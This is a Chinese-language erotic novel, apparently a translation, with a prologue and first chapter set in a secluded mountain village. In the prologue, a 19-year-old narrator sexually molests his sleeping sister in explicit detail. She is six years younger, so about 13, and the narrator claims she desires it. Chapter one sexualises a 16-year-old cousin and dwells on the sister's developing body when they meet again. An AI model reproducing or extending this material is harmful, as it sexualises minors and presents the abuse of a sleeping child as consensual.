图片载入中

献给哥哥

特大字】 【大字】 【中字】 【小字

序章

妹妹

一个难以入眠的夜晚,对深山中的偏僻乡村而言,今年的夏天真是太闷热了。

笼罩在黑夜里的中庭,树梢随风摇动,是强风的缘故吧。尽管如此,拉开窗户的房间中,空气仍沉淀淀地停滞着。

我闭上眼,朦胧地眺望橘黄色的夜灯,慢慢翻过身。

突然,渐趋迷煳的意识被阵风吹袭着,在我眼前不到五公分距离处,出现了一副长发少女的睡脸,是我那安稳沉睡的妹妹。

为何妹妹会睡在这里呢?我的意识与身体,都被剧烈的冲激翻搅着。

本来,妹妹应该在隔着走廊相对的自己房间中睡觉才对,不知何时她竟睡到我身旁…我慢吞吞地起身坐到毯子上;由于连日来的闷热,妹妹并未盖着棉被,她缩着身的娇小模样,直接进入了我的视野。穿在身上的白色浴衣略为凌乱,颈部及大腿,在夜灯下散发出不可思议的魅力。

妹妹的睡姿所以会如此媚惑我的心,是因为我一直深爱着她。而且这并非单纯的兄妹之爱,而是明显违背道德的近亲之爱。

从很小的时候就因病身体薄弱的妹妹,是备受家中疼爱的掌上明珠。特别是我,一直以敬畏的态度,注视着她那与我相差六岁的微弱生命的成长;后来,她到了懂得自己生命脆弱的年纪后,多半的时间都在我这唯一的玩伴身边度过;我不常到山脚下村落中的学校上学,放学后我会拒绝所有同学的邀约,毫不迟疑地飞奔回有妹妹等待着我的家中。即使到了后来,为了无法上学的她,我依然每天都这么做,因此我从没有任何朋友,但我却毫无遗憾。

随着时间的经过,进入青春期的我,开始意识到妹妹是与我不同的异性。起初只有淡淡的感觉,但随着日子一天天过去,越来越深切…没多久,我们就面临了生命中重大的改变

父母亲意外死亡!这件事激烈震撼了我们兄妹二人,原本充满了温暖和慈爱的家,为这突如其来的噩耗而陷入愁苦。为了还不能理解这状况的妹妹,我总算强忍悲哀,度过了难关。但是,屋漏偏逢连夜雨,又陆续发生了许多意想不到的事,使得温暖的家,变成了空虚寂寥的屋子。

不过,在双亲刚过世的半年内,我还不敢轻举妄动,但一年后的现在…

我的喉咙发出混浊的声响,吞下积存在口中的唾液。那毫无防备而横卧的未成熟肢体,如烈

般刺激着我的脑子。无节操的股间发着热,邪恶之蛇开始蠢蠢欲动。我感到急剧的晕眩,缓缓将手探出,颤抖的指尖,触

到木棉的布料。我轻轻捏住,悄悄地向上卷起。在淡淡的橘黄色灯光下,美得惊人的白皙大腿渐渐露出。

在逐渐朦胧的意识中,连自己在做什么都茫然无知,只是无意识地动着…不,恐怕当时我的意识是清楚的,只是看着妹妹那细致的肌肤而入迷了吧!我卷起她身上洁白无垢的浴衣下摆,窥见了一道曲线浑圆的小巧臀部。

“唔…嗯嗯…”

无意间,妹妹翻了身。惊慌的我急忙将手缩回,不过,是我多心了。

妹妹宛如诱惑我一般,在我眼前张开双腿,微微进入耳中的安稳鼻息,说明刚才的动作只是无意识的偶然。但是,在那立起单足的双腿交会处,露出了令我心思迷乱的禁忌花园。

平日只穿浴衣的妹妹,并未穿着内裤。裸露的下半身,将我的视线紧紧钉住,双腿间的蟒蛇,高腾起想要一尝禁忌果实的欲望。

就连圣书里也记载着,古今中外的人类,都无法抗拒这种诱惑。不过只活了十九年的我,当然不可能到达彻悟的境界,于是欲望开始笨拙地移转成行动。

我趴在地上,缓慢的靠近猎物,旁人看来大概宛若

渴的野兽吧!当然,这时我不但不会有思考这些事的理性,而且早已如梦如痴,况且,没有任何事物阻止我。

我将脸凑近她滑顺的下腹部,柔软的嫩毛被我慌乱的鼻息所摇动。视线略为下滑,那儿是清楚笔直的肉缝,形成堤岸的媚肉,令我想到妹妹楚楚可怜的唇。我轻张开口,发麻的香味顿时扑鼻而来,心知那是阿摩尼亚的味道,却一点也不觉污秽。我自缩紧的唇间轻伸出舌头,舔了妹妹的秘处。

“嗯…唔嗯…”

妹妹微弱地喘气,一时让我心惊不已,但数秒后我想通了。

没错,妹妹当然也渴望这种事,否则,她怎么会躺在我的身边?

我继续用舌头舔弄那天真无邪的秘部,贪婪着禁断的滋味。

“唔…啊啊…唔嗯嗯嗯…”

也许是舒适感所带来的喜悦,她口中发出甜美而无奈的气息,那声音令我的意识为之疯狂。我若在此时维持理智,有任何意义吗?彼此相爱、互相需求的两人,结合为一体不是极为自然的吗?这种想法,完全支配了我的脑袋。一旦超越了这道墙,接下来要做的只是任亿尽情奔驰在欲望的世界里。

我将她纤细的双腿扛在肩上,整个脸埋进花园中心。用力的深唿吸,陶醉在没有花朵比得上的香味中,持续来回地舔着秘裂后,起伏的溪谷底部,开始微微地湿润。如果那是爱液造成的,就表示妹妹也感到兴奋吧?我一边这么想,一边吸缀她体内溢出的液滴,频繁蠕动舌尖,发出卑猥的声音不断吸吮未成熟的花瓣,我要的是她淫荡的蜜液。

“啊啊…啊啊啊…唔唔嗯嗯…”

扑鼻而来的甘美喘息,如拍击岸边的波涛一般,进入我的耳中。娇喘得这么厉害,不会还没醒来吧?或者她已经…。

火热发烫的股间,已涨满了邪恶之力。冒汗的身体,比我自己的意志更加需求这娇嫩的肉体。我将妹妹的脚静静的放在毯子上,被邪恶淫欲支配的身体,覆盖上她纯洁无垢的肢体。

“我…想…想做爱…想做舒服…的事…”

随着紊乱的气息,盘旋在脑中的字句脱口而出。‘想做爱’这自言自语的几个字,如咒语般绞住我的身心,我粗野地脱下T恤,随意拉下内裤后,挣脱束缚的股间淫兽,即刻粗暴地张牙舞爪。

全无女性经验的我,怀着战战兢兢的心情,将凶器贴近可怜的秘唇。从某个意义上来说,这是种庄严的仪式,冷静的思考,在与理性不同的次元空间中起伏。我不想让长久以来日思夜想的这个时刻,就在乱动一通之后结束,就在这时

“哥…哥哥…”

在这之前只是发出喘声的妹妹,突然出声叫我。虽然到此地步了,我却只能狼狈地慌张抽身,妹妹果然已经清醒了吧…我的脑中一片混乱。

“唔∼唔哥…”

妹妹又叫了我一次。那声音是梦话,抑或是半梦半醒之间,我无法分辨。弯着腰看着她的脸,修长的睫毛微微地在颤动。但是,滴熘熘的可爱大眼并未张开,可是我却深感自己被人注视着,是因为自己做出禁忌的行为,才产生了被害妄想吗?

意识回复冷静后,终于找到了视线的出处。那视线难堪的望着我,半萎缩的钢棒丑陋地垂吊着,还有一双怯懦的眼楮。

那是我自己,是为了画自画像及素描,向母亲要来的古董镜台中,映照出的自己!就在了解的一刻,恐惧顿时袭入脑海,我竟然做出这种事!而且这时,妹妹说的话更震撼了我。

“啊啊,哥…哥哥,快一点…”

妹妹口中为何会吐露出这些言语,我不知道。其实我就连她是否有意识都不确知,可是,我没有办法回应她…。

——————————————————————————–

第一章

高木原家

列车突如其来的摇晃。在深眠中醒来的我,抓抓垂到眼前的头发,茫然地望向车窗。窗外是一片鲜绿草原和险峻的岩石山脉。深切感慨的眺望这风景的我,独自叹了一口气。

“我居然睡着了啊,八成是昨晚没睡的关系吧。”

我的名字叫高木原俊彦,是以东京为据点的新手插画家。

有人抬举我为新进年轻保守派画家,为了在这以实力决胜的世界中生存下去,也不得不欣然接受那些无聊的形容词。

其实我现在应该正为大获好评的游戏软体续集“T☆BARI.MkⅡ”的封面制图工作伤脑筋才对,可是,我现在远离东京,正赶回我生长的故乡

T县发绪岳村,那里是我三年前离开的老家。

要回发绪岳村,必须搭乘国铁后再换搭乡下的民营铁路,然后坐上偏僻的地方单轨火车,约一个半小时后到达。那里人口不到八百人,尽管是与观光无缘的深山小村落,而且每天只有来回各一班车,但居然建造了铁路,这件事则是我从小就觉得不可思议的;以前听说过,原本铁路的目的是用来在战争中调度木材等物资。但在战争结束后,为让都市的人们直接采买,列车据说每天都开许多班,现在则几乎没有人利用了。这条营运本就属奇迹的乡下铁路,也曾有过它风光的时代哪。

我会丢下工作而千里迢迢奔回这片贫瘠土地,是因为老家寄来的一封电报,上面只简短写着‘琴美病危立刻回家’。让我几乎心如刀割,昨夜一夜没睡也正是为此。

对于早就打算弃家不顾的我来说,唯一放不下的,就是相依为命的妹妹

琴美的安危。原本就病魔缠身的妹妹病危的通知,我当然不可能漠不关心,只有急忙向厂商赔不是,赶紧收拾行囊回乡。

凝视窗外,沉浸于感慨之中的我,身旁突然传来甜美的鼻音。一个睡得超出位置,以致于靠在我肩上的年轻女子醒过来了。

“睡得好吗?”

我对她说话。揉着惺忪睡眼,脸蛋适合羽毛剪的年轻女孩对我点头。

她是草剃茉莉香,女大学生…好像是吧!其实我和她不过是在三个小时前,在开往发绪岳村的山岳铁路的起始站认识而已;她说她二十岁,利用大学的休假一个人随意四处自助旅行。知道我是本地出身后,就趁在候车室等车的时间,不断找我聊天,并请我陪她到发绪岳村。她看起来像天不怕地不怕的爽朗女孩,一开始我心想这女孩真烦人,但不知不觉中与她搭上腔,等发觉时,居然我连归乡的理由都一五一十对她和盘托出。

“呃,我睡了多久呢?”

“大概一小时左右吧,我也睡着了…”

“是喔,看来你脸色不大好呢。刚遇见你的时候,你看起来要死不活的。啊,对不起!妹妹正在病危中,那也是理所当然的…”

茉莉香的表情阴暗起来,说话的声调变得低沉,好像在担心我。

“别在意我,妹妹从小身体就不好,我早就有心理准备了,而且,我还把妹妹留在家里一个人离开…”

事实上,我最近忙于工作,在电报来之前根本忘了妹妹的事。不,是想要忘了妹妹的事,其实妹妹的存在,对我而言是无可取代的重要。

“可是,血亲的关系不是那么简单就能断绝的吧?我也有个弟弟,所以很清楚,高木原先生一定非常疼妹妹…”

我无言以对,她对我报以温柔的微笑。

“还是不要压抑比较好,总之,光凭电报的只字片语,是不足以了解全部状况的。说不定你回去的时候已度过危险期,甚至恢复健康了呢!”

“是的话就好了,希望其能如愿…”

“这就对了,顺从感情是最好的方法。”

随着发绪岳村的接近而渐渐笼上的阴霾心情,被她的明朗话语化解开来。可是,在我心中的一隅,依然盘旋着在病床前要如何面对妹妹才好的思绪。

“马上就要抵达终点站了吧?这辆列车的乘客,从途中就只剩下我们两人…”

“村里的人们平常都不大外出,当然,像你这样的外来旅客更是少之又少,到底你为什么想要到发绪岳村去呢?”

“嗳?啊,这个…就是…在志茂台罗车站的候车室,和你谈话后才产生与趣嘛!”

“我不记得说了什么年轻女孩会感兴趣的话题…”

“我想要到人烟稀少的地方,一个人静静的想事情…”

“因为这个原因,才随意找我搭讪吗?”

“嗳?呃,那是因为…算了,如果造成你的困扰,我向你道歉。”

“一开始的确是的,不过,现在我反而该感谢你,若没发生这次的事,我想我再也不会回来,原本就是这么打算才离乡背井的,所以我的心情特别的差,但有人可以聊天真是太好了!”

“害怕见到妹妹和双亲吗?”

被她突然这么问,我沉默了,确实,与被我弃之不顾,且处于危殆状态的妹妹再会,我的确感到不安,不过对于双亲则是另一回事。

因为,我们兄妹的双亲,早已不在这世上了。爸爸妈妈都在四年前,也就是我离开家门的前一年去世。我一沉默,她的眼神很快改变,没有丝毫催促我回答的样子,但我看得出来,她在等待我的反应。

当我告诉她父母都在四年前因事故身亡后,她轻声地回答“我的遭遇和你一样”,并慢慢贴近我的身边。是因为眼前这偶遇的男人与自己的境遇相似,令她产生了亲切感吗?无论如何,平稳而沉默的空气,在两人之间缓缓流过。

不久,两节车厢的古董柴油列车,喀哒喀哒地越过小溪流,抵达深山中的穷乡僻壤

发绪岳村。

“这里就是发绪岳村啊,虽然是终点,不过这车站也太小了!”

下了车,茉莉香环顾四周说道,不只小,发绪岳村站还是个简陋的无人车站。尽管设有列车用的保养修护区,不过几乎都交由山脚下的起始站去做,我对她说明着,她听了歪着头思索。

“唔,不过,山路不是也通了吗?为何没有废线呢?”

“有比没有好,不是人之常情吗?而且啊,这几年我是不知道,但以前从没听说过发绪岳村山岳铁路经营不善的传闻。”

“该不会是哪个有钱人支持的吧?”

“或许吧,但我记得好像是村中共同经营的事业。”

“但也太死气沉沉了吧?”

“这村庄的人都非常封闭,一看到外人就产生不必要的警戒心,因此观光客也不愿意来。不过话说回来,这里根本没有吸引观光客的东西。”

发绪岳村的发祥,据说始于坛之浦幸存的平家武者的聚落,这是日本全国各地都有的传说。因畏惧源氏的讨伐,忍辱负重、苟且偷生的武者们,不知何时构

起这封闭的村落社会。即使经过了八百多年,恶习依旧留存至现代。

杂乡远走的我,现在也已算是外人了吧。在狭小车站的可见范围,并未见到满怀温情来迎接我们的人。说起来在这不会有人下车的村落,车站前也只不过有个小广场,来往的行人几乎等于无。

“现在你要怎么办呢?这村中可没有能让你住宿的旅社。”

而且,我们搭的是回程的最后列车,下一班车要等到明天早上。不只如此,连巴士或计程车都没有,最近的民宿也得走三个小时的山路。

“不会吧!?真是伤脑筋!”

可是,她却说得一点伤脑筋的样子都没有,没向她更仔细说明村中的情形我虽然觉得抱歉,但因急着赶回病危的妹妹身边,根本没有心情顾及到她,总之,问问她愿不愿意到我家里吧。

茉莉香绽放了笑颜,随即又深锁眉头。

“可是,这样好吗?你要去见病危的妹妹吧?如果带陌生人回家,一定不方便吧?”

说的也是,但这时候没别的法子,我认为助人为快乐之本,这和妹妹的事扯不上关系。

“我不介意,妹妹一定会体谅的,她是个比别人温柔千百倍的女孩。

我们将车票投入绑在柱子上的铁罐中,穿过无人的票口,开始赶路。从车站到我家要走二十分钟的山路,幸好芙莉香穿着低跟的便鞋,结果花了不到十分钟就见到老家的围墙了,不过从围墙到门口还必须走三分钟。

走到大门后,她发出怪声问我。

“嗳?你的老家,该不会真是这儿吧?好大的房子啊!原来你是这里的大少爷…”

“不是那样,这里只是一间老旧的大房子而已!”

房子大是大,可是我从不认为我是什么大少爷,在这土地不值钱的村中,庭院广大的家庭比比皆是,我的老家不过是在其中算是显眼一点而已。

这陪我度过十九年岁月的家,有着无尽的回忆与眷恋,但我却有必须将这一切舍弃不顾的理由。

茉莉香以质疑的眼色,看着伫足于门前的我。

“怎么了?赶快去看看你妹妹啊!”

“我知道,不过,一个某日突然不告而别,在外放荡了三年的男人,忽然跑回家…”

“这里是你家吧?你也收到电报了,说声‘我回来了’不就好了吗?”

是啊,我的确收到电报了,我应该不是来作客的,唯一的疑问是,是谁知道我东京的地址呢?不是我自己通知他们的,况且,自离家以来,我从未和这里联络过。

“喂喂,别犹豫了,快进去吧,不是担心妹妹吗?真叫人心急!”

她话还没说完,就叩叩敲着门,大声叫嚷。

“对不起!有人在吗?有人吗?”

里头没人应门,她不死心的继续敲了几次门,终于传来一个低沉的男人声音。

“是哪一位?”

“您们家的公子回来了,可以请您开门吗?”

芙莉香一说完,就传出拉开门栓的声音。门打开后,走出一位健壮的高个子男性。这位看来一板一眼的严肃男子,名叫长谷川达造,是在我出生以前就住在家中的司机。

茉莉香向后退,推着我的背。我扭了一下身体以掩饰尴尬,长谷川无言地以肃然的眼神打量我们,要说点话才行。

“那个…长谷川先生,我是俊彦,你忘记我了吗?”

“没忘!”

回答非常冷淡,我不禁畏缩起来,简直就像被责骂的小孩一样。我觉得难堪又委屈,他仿佛看透了我的心思般,以冰冷的视线看着我。

“你有什么事吗?”

哑然无语的我,只能呆呆的望着这个漠然的男人。

“等一下!他是因妹妹病危而回来看她的,你还问他有什么事?”

瞥一眼插嘴的茉莉香之后,长谷川再度冷冷地盯着我看。

“琴美小姐,病危?”

“不是吗?我收到‘琴美病危立刻回家’的电报,所以立刻赶回来…”

“没这回事!”

“不过,电报上确实写着静子叔母的名字。”

静子是我的叔母,她嫁到神户的神田家后,却因坂神大地震而一家迁回老家。我会留下妹妹而离家,与叔母将举家迁回而略感安心也有关系。

“总之,请让我和琴美会面,我看到她没事就会安心回去的。”

我不肯就此罢休,可是,长谷川的表情一点也不为所动。

“你不是不要这个家了吗?也不要琴美小姐不是吗?而且,你晓得被你舍弃的人心里怎么想的吗?琴美小姐这些日子是怎么过的,你曾经想过吗?”

“这个…我当然想过!”

这男人,能够理解我不得不丢下妹妹而离开家门的痛苦吗?难道他认为我这三年来一点都不懊悔吗?可是…

“那么,你为何要再一次挑起琴美小姐别离的创伤?”这就是盲点,我到底,为了什么而离家出走?他让我再次忆起

“回到你的世界去吧,那样对谁都好!”

我无话可说,全身顿失力气,几乎无法站立。

“老伯!你到底想怎样?你是这个家里的什么人?”

茉莉香提高声调,再次介入我们,挑

似的口吻,令长谷川的眼神愈发锐利。

“我,是这个家的仆人!”

“仆人?哈!你说仆人?这个家正统的继承者,为何要听一个仆人的教训!?”

她的个性似乎相当强硬,而且像是气不过似的,一副打算大吵一架的样子。对手则与她成对比,冷静的叫人胆寒。

“那么你,和这个家有什么关系呢?”

伶牙俐齿的茉莉香也说不出话,她与这个家本来就没有任何关系。

“你,你别管我,赶快让他去见他的妹妹啦!就算只能从远处看看妹妹平安无事的样子也无所谓!”

下降的愤怒声调,是不会逃过长谷川的耳朵的,他好像已经不将她当一回事了。我心想,至少要在口头上援助茉莉香,并思考着适当的借口,万一无法进去家中,就必须厚着脸皮去打扰别人家,或者是步履蹒跚地走到邻村。

“她…她是我的未婚妻!!”

我信口胡诌,为了让她说出来的话有分量,我只好这么说,因为,长谷川从以前就知道家中一切的事情,一般的谎话是骗不了他的。既然如此,最直截了当的办法,就是谎称她将要成为家人,茉莉香一瞬间露出惊讶的神情,但马上就趁机配合起我的说词。

“我是草剃茉莉香,不过,再过三个月,我就会变成高木原茉莉香…”

长谷川仿佛想看穿我们的把戏,慎重地凝视我们。可是,我们也实在无退路可走了。

“长谷川先生,你不知道也罢,但我确实收到了电报,就算哪里弄错了,或是谁的恶作剧都不管,总归一句,我已带她到这儿来了,难道你连让我们待到明天早上都不肯?”

“如何妮?我们进入屋子中,会为你带来什么困扰吗?”

“我知道了,请进来吧!”

似乎是茉莉香的一句话令他改变心意,不论是谁,都不愿意被人抓到痛脚吧?长谷川也无可奈何,只好答应我们进屋内。

我和茉莉香被带领前往的,是大堂前房舍中的一个房间,这里是一般的访客来时接待用的,四张半榻榻米大的房间;房舍本身就像一座独立的大玄关,连接到大堂的走廊两侧,则有一些佣人们的房间。

妹妹的病危未得到肯定的证实,我和茉莉香在精神上多少都舒缓了一点。进了门之后,她就开始感慨地长吁短叹。

“还真气派哪,光是这栋连接大堂的建

物,就有整个都会房子的大小吧?而且还风格独具!”

“听以前长辈说,我家的祖先是在坛之浦一役中落败的平家家臣,八百年前就在这里落地生根了!”

“平家的家臣?八百年?哇,我真无法想像!”

“听说直到明治初期前,我家代代都当村长,但后来就以投票决定了,所以现在只不过剩下一座空壳子吧!可是村里的人来访时,还会因从前的关系而对我们心怀敬意,很奇妙的事吧!”

“你倒说得满不在乎的,现今要找到有佣人的家庭可不是件容易的事,简直像做梦一样!”

做梦一样,我在心中呐喊。与爸蚂和琴美共同生活的日子,的确像做梦一般,可是,双亲死于非命,使我与琴美两人梦一般的日子,一瞬间成为恶梦。我逃避,恶梦却仍纠缠我不放,至少现在还是。

“心情变差了吗?可能我说的话太冒昧了吧!”

“啊…不,不是的,对了,我刚才被逼急了才说那种话,你不要介意…”

“未婚妻的事吗?没关系的,而且这样办事便利多了,本来是吓了一跳,可是被揭穿的话就糟糕了!”

“说的也是,不过既然要装的话就继续装下去吧,反正又不打算待多久,在这期间我想就这么蒙混着过比较好。不好意思,你能暂时当我的未婚妻吗?当然我没有吃你豆腐的意思,不愿意的话也不要紧,可以吗?”

我的提议,令她脸上显露出复杂的表情,我们4个小时前才刚认识,就算是演戏,要她当我的未婚妻也太不像话了,可是我想不出别的好方法。

“嗯,可是,我有条件…”

她提出的条件,是彼此要称唿对方“俊彦”、“茉莉香”,我当然立即允诺,接着问她是否还有别的条件。

“没了,就这样,契约成立了,俊∼彦∼”

“喂喂,就只有这个条件吗?”

原本猜想会有不少严苛条件的我,多少有点惊讶,于是再度确认。当别人的未婚妻这种事,能够如此轻率答应吗?

“高木原先生好像是很遵循伦理道德的人,不会要求我一起入浴或者一起睡觉这类的事吧?那么,赶快来决定婚约的详细内容吧?”

“是、是啊,照你刚才说的话,我们要在三个月以后结婚对吧?另外还有什么需要确认的地方吗?”

“嗯…例如一开始时怎么认识的,还有求婚时所说的话等等。”

茉莉香边说边开始构想假婚约的细节部分,我不禁对她产生好感,一方面兴致勃勃地观察她中等长度的羽毛剪发型、淡紫色衬衫等令人深刻印象的外型。她浑身流露出律动合宜的品味,和因循守旧的发绪岳村,或者高木原家都毫不相衬,可是却又不相斥。她一边竭力表现自己的性格,又一边若无其事地融入周围环境,这是她的特殊之处,也是个性使然吧!

“大概就是这样,喂!你有没有在听啊?”

“啊?有,有啦…”

“什么嘛,那样一直看人家,难道,你在想什么不应该想的事?”

“多管闲事!”

我再望她一眼,她扭了一下身体。均匀的体态,略带害羞地摇摆,脸颊上泛起红晕,涂着淡色口红的唇轻轻颤动。

“可是,你的视线太认真了,可不可以别叮着我看,喂,俊彦,你这样看的话我会…我会受不了!”

微微娇嗔的表情,隐约散发出害羞的性感,然后,终于…

“啊啊!我不行了!脚麻

了!”

大概是不习惯跪坐,脚部血液无法循环。

“你不用跪坐没关系啊。”

“因为,第一次来这里嘛,我会紧张…”

“喔,连你都会紧张啊?”

“太过份了!我难道那么粗鲁吗?”

茉莉香笑着假装生气,随之,我的神情也缓和下来,不知何时,我们之间已像真正的恋人般气氛融洽。

这时,通往走廊的纸门哗啦啦地被拉开,出现了一位可爱的少女。一瞬间,我双眼发直,可是仔细一看,才发现她是长得酷似妹妹的表妹,名叫神田望。

“俊彦…先生?好久不见了!”

“啊,才几年不见,你长这么大了啊,我以为认错人了呢!”

为掩饰将她认为是妹妹的尴尬,只好夸她两句,她也害羞起来。

“俊彦先生感觉上也好像连续剧里面的演员喔!”

“是吗?我只是一个没名气的插画家而已!”

“那个…我可以进去吗?”

我点了头,请她进屋。穿着可爱淡粉红色连身裙的小望,向茉莉香轻轻行礼后,问我她是谁。

我和茉莉香对看了一眼,她给了我互相配合的确认。

“她叫茉莉香,是我的未婚妻!”

“我是茉莉香,请多指教!”

茉莉香对她亲切地微笑,小望则羞涩地回礼。

“我来介绍,她是我的表妹神田望,呃,我记得你15岁,国三吧…?”

“人家16岁高一!已经到合法结婚的年龄了!”

“是吗?抱歉抱歉,不过,法律快要修正了,到时结婚年龄也会改变。

“现在还可以!”

小望嘟着嘴生闷气,思春期的女孩子想结婚是很平常的,干嘛不高兴呢?

“那么,小望,你找到想结婚的对象了吗?”

“嗳?这个…呃,嗯…”

羞得无地自容的少女,说话变得语无伦次。她偷瞄我一眼,害躁的表情十分惹人怜爱,她总让我连想到自己的妹妹。

“对了,小望,琴美最近怎么样了?”

“琴美?好像还好吧?我也不太清楚,因为她现在住在别馆…”

“别馆?为什么?果然她的病还是很严重吧?”

我的胸中再度震汤,这时,走廊传来典雅的声音。

“俊彦少爷,你回来了…”

说话的人在走廊上跪下,垂下双眼望向我们。

这位带着稳重气息…不、应该说忧郁感觉的女性,是在我的双亲过世后,跟随他们自杀的总管的女儿

高野澄江,小时候她的母亲就因病去世,五年前随着担任高木家总管的父亲一起住到家里来。对我与琴美而言,她不但是幼时玩伴,还像是我们的大姐姐。

那时她决定就读名古屋的护理学校,当时告诉我们说她要去住校时的情形,我现在还记得清清楚楚。年幼的琴美哭个不停,紧紧抱住澄江和我,要我们不能离开。与澄江最后一次会面,是在她父亲的葬礼上,父亲自杀的冲击并未击溃她,她说她仍然会继续努力成为一个好护士。

历经这些事的澄江,现在身穿简单的女佣服装,必恭必敬地跪坐着。

“我回来了…”

“那么,我带您到琴美小姐的住处去!”

“啊,好的…那,茉莉香…”

我一开口,澄江立即说道︰“因为是病人,麻烦请俊彦少爷一个人去!”

“是啊,我在这里等好了!”

“您的房间也准备好了,请您到那里等候…”

澄江请小望带领茉莉香,然后要我跟她走出房门。

长谷川说琴美的病不要紧,如果属实,那么电报是怎么回事呢?我在走廊上询问澄江,她歪着头,告诉我她不清楚。也许是我多心吧,总觉得她在隐瞒什么。

“是吗?司机长谷川先生也说他不知道…”

“长谷川先生现在是这里的总管…”

澄江的表情变得阴沉,也许因为长谷川的升职,是他父亲的自杀间接造成的吧。我不知该做何回应,同时,我对她过度谦卑的用词也感不悦,她从小说话就很庄重,但现在这样子,却给人见外的感觉,听起来只觉得厌烦。记忆中的澄江不会叫我俊彦少爷,而且也能开诚布公地聊天。

“那个,不要叫我‘少爷’,很

扭耶!像以前一样叫我俊彦就好了。”

“佣人尊敬主人是理所当然的,如果是您的命令,我一定会遵从,但若以我个人的意见…”

命令?未免太小题大做了吧?我不禁困惑。与许久不见的澄江之间,我感觉有些无法理解的鸿沟存在。不过,顽固的个性倒与她过世的父亲一模一样。

“好吧,我可不想命令你,随便你吧!”

“是,另外,也请你叫我澄江!”

“不行,对我来说你是‘澄江姐’,你又不是奴隶。”

她默默不语,表情愈显复杂,是不满我说的话吗?我感到气氛僵硬,连忙改变话题。“呃,澄江姐是什么时候回来的?”

“我一年前辞去医院的工作,搬回来这里担任佣人的职务,主要负责家事以及照料琴美小姐。”

“这样啊,琴美的状况如何呢?不是说她住在别馆吗?”

“她原本就有病在身,现在时好时坏。目前居住的地方设备完善,病情比较稳定,不过还是必须时时刻刻小心。”

“原来如此,可是,住得太远也令人担心,万一发生状况的时侯怎么办呢?”

“那里和我的房间有唿叫铃可以相通,而且我每隔四个小时都会去看她一次,您可以安心!”

每隔四小时?她仿佛不当一回事,但那是辛苦的劳力工作,而且澄江还必须做家事,也需要有自己的私人时间吧?更何况,她付出了自己的睡眠时间。

“我不知道该说些什么才好,总之,感谢你所做的一切…”

“谢谢,俊彦少爷!”

就这样,我们一路无言的来到琴美住处所在的中庭。

虽简称中庭,但我家的庭院并非一般的山水庭园,别馆和仓库是当然有的,连森林与小山丘都有,拥有比一般住宅区公园大得多的面积。不论房舍的大小,或庭院的规模,都可说在远离市区的深山中才找得到吧。正如茉莉香所言,现今这种房子找遍日本也很难找到。

庭院的景致,和我离家时没多大改变,从小我就看惯了,而且是与体弱多病的妹妹游玩的场所。那时,我们兄妹与花草树木、微风、阳光共同嬉戏,和双亲一同过着无忧无虑的幸福生活。

从那一天,对,就从父母身亡的那天起,我和妹妹,还有这个家,都被封闭在扭曲的时空中,我们变得不安、焦虑、烦躁,被恐慌层层包围与侵蚀。

那种状况持续了将近一年,那个夏夜,我终于无法忍耐的对琴美下手。尽管未超越最后的防线,但偶然瞥见的镜中的自己,却把我赶入恐怖的深渊,于是,我就此离家出走。

已经回不来了,以前的幸福日子,再也回不来了。

已经回不来了,这个家,我再也回不来了。

“俊彦少爷,我在此失陪,您请进!”

在别馆之前,澄江对我说道。

“如果有什么事,请按唿叫铃,我立刻就过来!”

我看着澄江身后的别馆,这栋在大小或造型上,都比不上主栋的建

物,

素且灰暗,充满了疾病的晦气。据说原本曾祖父是建来当书斋的,但却只留给我隔离小屋的印象;事实上,母亲也在此与病魔奋战了六年以上,当时我很担心母亲,常偷偷的跑到这里来看她,别馆中总传出母亲痛苦的哀号及父亲鼓舞她的说话声。

不久母亲病好了,回到家中后,我总觉得不对劲,在我心中,多病的母亲和健康的母亲,并不一定是同一个人。很可笑,但我认为差别太大了,难道,我的妈妈有两个人吗?我甚至这么想,结果我并未向双亲提及这个疑问,因为我很害怕,害怕妈妈…幸福…都失去了…。

“俊彦少爷?”

“啊?啊…嗯,我知道了,谢谢!”

看着澄江离开后,为了和妹妹见面,我进入别馆之中。

当我环顾着母亲也使用过的房间时,一位少女从床上起身。

那是三年不见的妹妹琴美。

一见到妹妹,我的背上仿佛有电流急遽流过,体内的温度急速上升,心脏被压迫,脑中几乎烧焦,中枢神经麻

,眼前的景色颠簸,身体冒着冷汗,激烈地耳鸣及头痛,喉咙灼烧,唇舌干涸,想润泽也挤不出一滴唾液。我拼了命,绞出一丝嘶孔。

但实际上我只是嘴唇微微一动,别说声音,连气息都唿不出。尽管如此,少女却诧异地慢慢转向我,无助的神情,即刻转变为惊异而后静止。然后,有如慢动作般,又如冰块融解为水一般,表情渐渐微妙地变化着。

“哥哥!?”

夹杂着无奈,又蕴藏着爆发情感的一句,直击我的脑门。我全身的血液逆流,泪腺解放而朦胧的视野中,只有琴美的轮廓鲜明地浮现。

“哥…哥哥…哥哥回来了!”

没出息的我,几乎快要晕倒,抽搐着身体,无法依意识行动,只能注视着琴美,凝听她的声音。

然后,我支持不住身体,就要向前倾倒。几乎同时,琴美飘扬着长发,飞奔进我的怀中。

“哥!哥!哥哥!”

泣不成声的琴美,紧紧依偎着我,我也用力环抱她窈窕的身躯。这三年间,琴美的确成长了许多,与我记忆中的模样有若干相异,但腕中的人确实是妹妹琴美,是我最疼爱的妹妹。

我有如倾吐积郁在胸口的思念一般,轻声唿唤妹妹的名字。

“琴美…”

“是哥哥的声音,是哥哥的气味,真的是哥哥!”

使力紧抱住我的琴美,以全身确认我的存在,甘美的香味刺激着我的鼻腔。从她贴紧的躯体中,灼热的体温,激烈的心跳,如洪水一般流进我的体内,琴美一定也同样感受到我的体温和心跳吧!

在我们之间,除了衬衫和薄薄的浴衣之外什么都没有。发育之中的柔软质感,被我的胸膛压挤成一团。我感觉到顶上小巧坚挺的突起,从那个夏夜以来一直压抑的思潮,化为强烈的晕眩向我袭来。我任由排山倒海的激情冲击,使劲抱住琴美。

“你回来了,哥,琴美好担心,哥,你到山里去后一直都不回来…”

“找到爸和妈了吗?你是去找他们的吧?”

“什、什么?你在说什么?”

“哥,对不起,琴美的身体不好,不太能到外面去,所以没能陪你去找爸蚂…”

她的记忆混乱了吗?还是…我的背后冒起冷汗。

“怎么了?哥你也生病了吗?你脸色不大好唷,该不会是琴美把病传染给你了吧?”

“不、不是的,我没事,不要紧!”

“那就好,要是哥也生病了,琴美真不知该怎么办?”

“别担心,你要好好休养,赶快好起来!”

“嗯,琴美会尽快恢复健康,再和哥哥一起…咳,咳咳!”

妹妹开始咳嗽,没能把话说完,和我一起做什么?有点想知道又不愿知道,有点了解又不太了解。我一边想着这些,一边想唿叫澄江,但她看来又没事了。

与病危比起来,像这种程度从小就是家常便饭。

“总之,你比我预想的要健康,真是太好了,不过还是要注意自己的身体,我要走了!”
